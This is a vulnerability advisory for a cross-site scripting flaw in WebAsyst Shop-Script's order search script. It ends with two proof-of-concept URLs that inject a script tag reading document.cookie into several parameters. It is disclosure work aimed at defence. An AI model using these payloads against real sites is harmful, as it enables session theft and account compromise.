HTB22817: XSS vulnerability in WebAsyst Shop-Script

Vulnerability ID: HTB22817
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_webasyst_shop_script.html
Product: WebAsyst Shop-Script
Vendor: WebAsyst, LLC ( http://www.shop-script.ru/ )
Vulnerable Version: Current version 2011.01.23 (shop-script.ru/demo/)
Vendor Notification: 25 January 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "SC/html/scripts/index.php" script to properly sanitize user-supplied input in "orderID_textbox" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/SC/html/scripts/index.php?did=21&order_search_type=SearchByOrderID&orderID_textbox=1"><script>alert(document.cookie)</script>&search=Show

http://host/SC/html/scripts/index.php?did=22&login=1"><script>alert(document.cookie)</script>&first_name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_name=&ActState=-1&search=%D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export=